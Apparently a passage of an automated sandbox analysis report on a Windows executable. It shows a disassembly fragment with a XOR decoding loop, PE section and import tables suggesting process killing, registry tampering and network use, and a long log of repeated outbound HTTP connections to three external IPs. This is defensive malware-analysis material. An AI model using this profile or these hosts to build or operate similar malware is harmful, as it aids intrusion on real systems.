jnc 00007FBBF0B63098h
xor byte ptr [eax], FFFFFFD4h
inc eax
jmp 00007FBBF0B63085h
push 0040AA4Fh
push ebx
call 00007FBBF0B659D9h
test eax, eax
je 00007FBBF0B63098h
push 00000001h
push 00000000h
call eax
push 00000104h
lea eax, dword ptr [esp+00001568h]
push eax
push 00000000h
call 00007FBBF0B659CBh
call 00007FBBF0B659D6h
mov edx, 0000AA73h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xd000	0x978	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x51d0	0x5200	21cc67c9b93f13fab320100a0048bb89	False	0.5276772103658537	data	6.02719470871185	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x7000	0x3f80	0x4000	2a1fa0dc2a69834eb184a671bf205b5d	False	0.34942626953125	data	4.67519754276771	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0xb000	0x70	0x200	35ea2c7e82726d64a5966efeeda93181	False	0.21484375	data	1.3621726300738992	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.bss	0xc000	0x300	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0xd000	0x978	0xa00	cf3b54e5eda31e12417978bc9098b66c	False	0.334375	data	4.178697520445606	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
KERNEL32.DLL	CloseHandle, CreateFileA, CreateMutexA, CreateProcessA, CreateThread, CreateToolhelp32Snapshot, DeleteFileA, ExitProcess, ExpandEnvironmentStringsA, GetCommandLineA, GetComputerNameA, GetCurrentProcessId, GetCurrentThreadId, GetFileSize, GetFileTime, GetLastError, GetModuleFileNameA, GetProcAddress, GetProcessHeap, GetStartupInfoA, GetSystemDirectoryA, GetSystemTimeAsFileTime, GetTempFileNameA, GetTempPathA, GetTickCount, GetVersionExA, GetWindowsDirectoryA, HeapAlloc, HeapFree, HeapReAlloc, LoadLibraryA, OpenProcess, Process32First, Process32Next, ReadFile, SetEndOfFile, SetFileAttributesA, SetFilePointer, SetFileTime, SetPriorityClass, Sleep, TerminateProcess, VirtualAlloc, WaitForSingleObject, WriteFile, lstrcatA, lstrcmpiA, lstrcpyA, lstrlenA
ADVAPI32.DLL	RegCloseKey, RegCreateKeyA, RegCreateKeyExA, RegDeleteKeyA, RegDeleteValueA, RegEnumKeyA, RegEnumValueA, RegOpenKeyExA, RegQueryValueExA, RegSetValueExA, RegSetValueExW
USER32.dll	CharLowerA, ExitWindowsEx, wsprintfA
WS2_32.DLL	WSAGetLastError, WSAStartup, closesocket, connect, gethostbyname, getsockopt, htons, inet_addr, ioctlsocket, recv, select, send, socket

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 5, 2025 10:48:02.817970991 CET	49730	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:48:02.822812080 CET	80	49730	64.70.19.203	192.168.2.4
Jan 5, 2025 10:48:02.822895050 CET	49730	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:48:02.834489107 CET	49730	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:48:02.839422941 CET	80	49730	64.70.19.203	192.168.2.4
Jan 5, 2025 10:48:02.840626001 CET	49730	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:48:03.086806059 CET	49731	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:03.091609001 CET	80	49731	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:03.091680050 CET	49731	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:03.091810942 CET	49731	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:03.096560955 CET	80	49731	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:03.578617096 CET	80	49731	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:03.578636885 CET	80	49731	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:03.578706026 CET	80	49731	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:03.578864098 CET	49731	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:03.578864098 CET	49731	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:03.579289913 CET	49731	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:06.548995018 CET	49732	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:48:06.553817987 CET	80	49732	88.198.29.97	192.168.2.4
Jan 5, 2025 10:48:06.553908110 CET	49732	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:48:06.553961992 CET	49732	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:48:06.558561087 CET	49733	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:06.558901072 CET	80	49732	88.198.29.97	192.168.2.4
Jan 5, 2025 10:48:06.558955908 CET	49732	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:48:06.563417912 CET	80	49733	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:06.563500881 CET	49733	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:06.563544989 CET	49733	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:06.568408012 CET	80	49733	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:07.289649963 CET	80	49733	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:07.289669037 CET	80	49733	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:07.289683104 CET	80	49733	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:07.289685965 CET	80	49733	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:07.289762020 CET	49733	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:07.290150881 CET	80	49733	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:07.290204048 CET	49733	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:07.291342974 CET	49733	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:11.604718924 CET	49734	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:48:11.609786987 CET	80	49734	88.198.29.97	192.168.2.4
Jan 5, 2025 10:48:11.609884024 CET	49734	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:48:11.615808010 CET	49734	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:48:11.619946957 CET	49735	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:11.620695114 CET	80	49734	88.198.29.97	192.168.2.4
Jan 5, 2025 10:48:11.620764017 CET	49734	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:48:11.625854015 CET	80	49735	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:11.625926971 CET	49735	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:11.626008987 CET	49735	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:11.630820990 CET	80	49735	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:12.080611944 CET	80	49735	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:12.080627918 CET	80	49735	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:12.080645084 CET	80	49735	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:12.080755949 CET	49735	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:12.081237078 CET	49735	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:12.254561901 CET	49736	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:48:12.259356976 CET	80	49736	64.70.19.203	192.168.2.4
Jan 5, 2025 10:48:12.259438992 CET	49736	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:48:12.259569883 CET	49736	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:48:12.264446020 CET	80	49736	64.70.19.203	192.168.2.4
Jan 5, 2025 10:48:12.264498949 CET	49736	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:48:12.269651890 CET	49737	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:12.274497032 CET	80	49737	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:12.274630070 CET	49737	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:12.274698019 CET	49737	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:12.279422998 CET	80	49737	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:12.737740993 CET	80	49737	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:12.737761021 CET	80	49737	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:12.737772942 CET	80	49737	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:12.737874031 CET	49737	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:12.738327026 CET	49737	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:13.453381062 CET	58640	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:13.458235025 CET	53	58640	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:13.458307028 CET	58640	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:13.458363056 CET	58640	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:13.463141918 CET	53	58640	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:14.107963085 CET	53	58640	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:14.108709097 CET	58640	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:14.113810062 CET	53	58640	1.1.1.1	192.168.2.4
Jan 5, 2025 10:48:14.113861084 CET	58640	53	192.168.2.4	1.1.1.1
Jan 5, 2025 10:48:16.633124113 CET	58642	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:48:16.639381886 CET	80	58642	64.70.19.203	192.168.2.4
Jan 5, 2025 10:48:16.642676115 CET	58642	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:48:16.644232988 CET	58642	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:48:16.650547028 CET	80	58642	64.70.19.203	192.168.2.4
Jan 5, 2025 10:48:16.650660038 CET	58642	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:48:16.670447111 CET	58643	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:16.676619053 CET	80	58643	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:16.676692963 CET	58643	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:16.676806927 CET	58643	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:16.683017969 CET	80	58643	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:17.140089989 CET	80	58643	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:17.140108109 CET	80	58643	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:17.140175104 CET	58643	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:17.140208006 CET	80	58643	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:17.140255928 CET	58643	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:17.140650988 CET	58643	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:17.468642950 CET	58645	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:48:17.473448038 CET	80	58645	64.70.19.203	192.168.2.4
Jan 5, 2025 10:48:17.473531961 CET	58645	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:48:17.473659992 CET	58645	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:48:17.478512049 CET	80	58645	64.70.19.203	192.168.2.4
Jan 5, 2025 10:48:17.478575945 CET	58645	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:48:17.480103970 CET	58646	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:17.484898090 CET	80	58646	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:17.484970093 CET	58646	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:17.485039949 CET	58646	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:17.489816904 CET	80	58646	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:17.978286028 CET	80	58646	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:17.978301048 CET	80	58646	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:17.978365898 CET	58646	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:17.978396893 CET	80	58646	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:17.978439093 CET	58646	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:17.978853941 CET	58646	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:18.282305956 CET	58649	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:48:18.287132978 CET	80	58649	88.198.29.97	192.168.2.4
Jan 5, 2025 10:48:18.287216902 CET	58649	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:48:18.287352085 CET	58649	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:48:18.292242050 CET	80	58649	88.198.29.97	192.168.2.4
Jan 5, 2025 10:48:18.293673992 CET	58650	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:18.293708086 CET	58649	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:48:18.298468113 CET	80	58650	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:18.298540115 CET	58650	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:18.298655987 CET	58650	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:18.303422928 CET	80	58650	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:18.761688948 CET	80	58650	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:18.761703014 CET	80	58650	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:18.761756897 CET	58650	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:18.761929989 CET	80	58650	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:18.761966944 CET	58650	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:18.762171030 CET	58650	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:19.277375937 CET	58652	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:48:19.282188892 CET	80	58652	64.70.19.203	192.168.2.4
Jan 5, 2025 10:48:19.282269001 CET	58652	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:48:19.287504911 CET	58652	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:48:19.292309046 CET	58653	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:19.292332888 CET	80	58652	64.70.19.203	192.168.2.4
Jan 5, 2025 10:48:19.292450905 CET	58652	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:48:19.297074080 CET	80	58653	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:19.297154903 CET	58653	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:19.303169966 CET	58653	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:19.308064938 CET	80	58653	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:19.752027988 CET	80	58653	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:19.752051115 CET	80	58653	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:19.752115011 CET	58653	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:19.752154112 CET	80	58653	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:19.752202988 CET	58653	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:19.752513885 CET	58653	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:20.258091927 CET	58655	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:48:20.263746977 CET	80	58655	64.70.19.203	192.168.2.4
Jan 5, 2025 10:48:20.263819933 CET	58655	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:48:20.271877050 CET	58655	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:48:20.276628971 CET	80	58655	64.70.19.203	192.168.2.4
Jan 5, 2025 10:48:20.276838064 CET	58655	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:48:20.283135891 CET	58656	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:20.287875891 CET	80	58656	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:20.287949085 CET	58656	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:20.288091898 CET	58656	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:20.292886972 CET	80	58656	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:20.761445045 CET	80	58656	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:20.761464119 CET	80	58656	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:20.761550903 CET	80	58656	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:20.761607885 CET	58656	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:20.761665106 CET	58656	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:20.762152910 CET	58656	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:22.275470972 CET	58657	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:48:22.280229092 CET	80	58657	64.70.19.203	192.168.2.4
Jan 5, 2025 10:48:22.280307055 CET	58657	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:48:22.287542105 CET	58657	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:48:22.292347908 CET	80	58657	64.70.19.203	192.168.2.4
Jan 5, 2025 10:48:22.292401075 CET	58657	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:48:22.299146891 CET	58658	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:22.303998947 CET	80	58658	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:22.304085016 CET	58658	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:22.304214954 CET	58658	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:22.308979034 CET	80	58658	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:22.758249044 CET	80	58658	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:22.758271933 CET	80	58658	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:22.758388042 CET	58658	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:22.758433104 CET	80	58658	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:22.758492947 CET	58658	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:22.758771896 CET	58658	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:25.009628057 CET	58659	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:48:25.014456987 CET	80	58659	64.70.19.203	192.168.2.4
Jan 5, 2025 10:48:25.014646053 CET	58659	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:48:25.021919966 CET	58659	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:48:25.026196003 CET	58660	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:25.026751041 CET	80	58659	64.70.19.203	192.168.2.4
Jan 5, 2025 10:48:25.026815891 CET	58659	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:48:25.031021118 CET	80	58660	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:25.031112909 CET	58660	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:25.031229019 CET	58660	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:25.036024094 CET	80	58660	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:25.494308949 CET	80	58660	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:25.494327068 CET	80	58660	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:25.494404078 CET	58660	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:25.494435072 CET	80	58660	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:25.494478941 CET	58660	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:25.498385906 CET	58660	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:26.580378056 CET	58661	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:48:26.585247993 CET	80	58661	64.70.19.203	192.168.2.4
Jan 5, 2025 10:48:26.585445881 CET	58661	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:48:26.600230932 CET	58661	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:48:26.605258942 CET	80	58661	64.70.19.203	192.168.2.4
Jan 5, 2025 10:48:26.605314016 CET	58661	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:48:26.615515947 CET	58662	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:26.620356083 CET	80	58662	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:26.620446920 CET	58662	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:26.631295919 CET	58662	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:26.636020899 CET	80	58662	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:27.103003979 CET	80	58662	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:27.103039026 CET	80	58662	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:27.103049994 CET	80	58662	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:27.103094101 CET	58662	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:27.103528023 CET	58662	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:27.652457952 CET	58663	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:48:27.657288074 CET	80	58663	64.70.19.203	192.168.2.4
Jan 5, 2025 10:48:27.657363892 CET	58663	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:48:27.657433033 CET	58663	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:48:27.662538052 CET	80	58663	64.70.19.203	192.168.2.4
Jan 5, 2025 10:48:27.662595987 CET	58663	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:48:27.674602032 CET	58664	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:27.679512024 CET	80	58664	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:27.679595947 CET	58664	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:27.693906069 CET	58664	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:27.698666096 CET	80	58664	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:28.133734941 CET	80	58664	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:28.133749962 CET	80	58664	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:28.133764029 CET	80	58664	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:28.133821964 CET	58664	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:28.134275913 CET	58664	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:28.629107952 CET	58665	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:48:28.633972883 CET	80	58665	88.198.29.97	192.168.2.4
Jan 5, 2025 10:48:28.634041071 CET	58665	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:48:28.646928072 CET	58665	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:48:28.651729107 CET	80	58665	88.198.29.97	192.168.2.4
Jan 5, 2025 10:48:28.651787996 CET	58665	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:48:28.652813911 CET	58666	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:28.657639027 CET	80	58666	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:28.657833099 CET	58666	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:28.657963991 CET	58666	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:28.662797928 CET	80	58666	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:29.127479076 CET	80	58666	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:29.127494097 CET	80	58666	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:29.127506018 CET	80	58666	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:29.127540112 CET	58666	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:29.127593994 CET	58666	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:29.128071070 CET	58666	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:29.257467031 CET	58667	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:48:29.262307882 CET	80	58667	88.198.29.97	192.168.2.4
Jan 5, 2025 10:48:29.262418985 CET	58667	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:48:29.271959066 CET	58667	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:48:29.276751041 CET	80	58667	88.198.29.97	192.168.2.4
Jan 5, 2025 10:48:29.276809931 CET	58667	80	192.168.2.4	88.198.29.97
Jan 5, 2025 10:48:29.280332088 CET	58668	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:29.285134077 CET	80	58668	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:29.285206079 CET	58668	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:29.285300970 CET	58668	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:29.290097952 CET	80	58668	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:29.758775949 CET	80	58668	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:29.758806944 CET	80	58668	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:29.758816004 CET	80	58668	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:29.758869886 CET	58668	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:29.759318113 CET	58668	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:31.839646101 CET	58669	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:48:31.844432116 CET	80	58669	64.70.19.203	192.168.2.4
Jan 5, 2025 10:48:31.844556093 CET	58669	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:48:31.844743013 CET	58669	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:48:31.848882914 CET	58670	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:31.849518061 CET	80	58669	64.70.19.203	192.168.2.4
Jan 5, 2025 10:48:31.849581003 CET	58669	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:48:31.853730917 CET	80	58670	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:31.853801012 CET	58670	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:31.865751028 CET	58670	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:31.870524883 CET	80	58670	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:32.331988096 CET	80	58670	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:32.332016945 CET	80	58670	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:32.332026958 CET	80	58670	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:32.332128048 CET	58670	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:32.332566977 CET	58670	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:33.042609930 CET	58671	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:48:33.047429085 CET	80	58671	64.70.19.203	192.168.2.4
Jan 5, 2025 10:48:33.047657013 CET	58671	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:48:33.053395987 CET	58671	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:48:33.057612896 CET	58672	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:33.058286905 CET	80	58671	64.70.19.203	192.168.2.4
Jan 5, 2025 10:48:33.058351040 CET	58671	80	192.168.2.4	64.70.19.203
Jan 5, 2025 10:48:33.062450886 CET	80	58672	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:33.062536955 CET	58672	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:33.068970919 CET	58672	80	192.168.2.4	199.59.243.228
Jan 5, 2025 10:48:33.073744059 CET	80	58672	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:33.516010046 CET	80	58672	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:33.516024113 CET	80	58672	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:33.516036987 CET	80	58672	199.59.243.228	192.168.2.4
Jan 5, 2025 10:48:33.516103029 CET	58672	80	192.168.2.4	199.59.243.228
